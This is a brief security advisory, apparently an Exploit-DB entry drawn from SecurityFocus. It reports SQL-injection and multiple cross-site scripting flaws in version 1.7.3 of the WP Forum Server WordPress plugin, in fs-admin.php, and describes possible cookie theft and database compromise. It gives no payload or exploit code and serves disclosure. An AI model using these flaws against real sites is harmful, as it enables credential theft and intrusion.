WordPress Plugin WP Forum Server 1.7.3 - '/fs-admin/fs-admin.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/53530/info

WP Forum Server plugin for WordPress is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Forum Server 1.7.3 is vulnerable; other versions may also be affected.
